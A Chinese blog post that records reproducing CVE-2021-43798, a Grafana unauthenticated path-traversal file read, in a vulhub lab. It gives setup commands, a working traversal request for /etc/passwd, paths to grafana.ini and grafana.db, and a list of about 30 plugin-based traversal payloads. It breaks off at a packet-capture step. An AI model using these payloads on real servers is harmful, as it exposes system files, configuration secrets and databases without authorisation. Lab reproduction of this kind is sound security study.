【vulhub系列】CVE-2021-43798 Grafana未授权任意文件读取复现

一只学网安的小白。

已于 2022-10-04 20:28:58 修改

阅读量1.1k

点赞数 1

分类专栏：记录一下vulhub靶场复现文章标签：网络安全安全

于 2022-08-17 12:45:43 首次发布

本文链接：https://blog.csdn.net/Wiofgb/article/details/126383653

版权

记录一下vulhub靶场复现专栏收录该内容

12 篇文章 3 订阅

订阅专栏

文章目录

一、所需环境
二、环境搭建
三、漏洞复现
总结

一、所需环境：

Linux（kali）操作系统

vilhub靶场

二、环境搭建：

目标目录: /vulhub-master/grafana/CVE-2021-43798/
在该目录执行命令：dockers-compose up -d
查看容器开启端口：docker ps
查看环境搭建是否成功：http://192.168.162.129:3000/login

示例：

三、漏洞复现

POC:

GET /public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd HTTP/1.1

读取Grafana配置文件

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/grafana/grafana.ini

读取Grafana数据库

/public/plugins/gettingstarted/../../../../../../../../../../../../../../../var/lib/grafana/grafana.db

其他师傅fuzz的插件清单

https://github.com/jas502n/Grafana-VulnTips/blob/main/README.md

/public/plugins/alertGroups/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../etc/passwd
/public/plugins/canvas/../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../etc/passwd
/public/plugins/debug/../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../etc/passwd
/public/plugins/live/../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../etc/passwd
/public/plugins/xychart/../../../../../../../../etc/passwd

抓取目标网站数据包：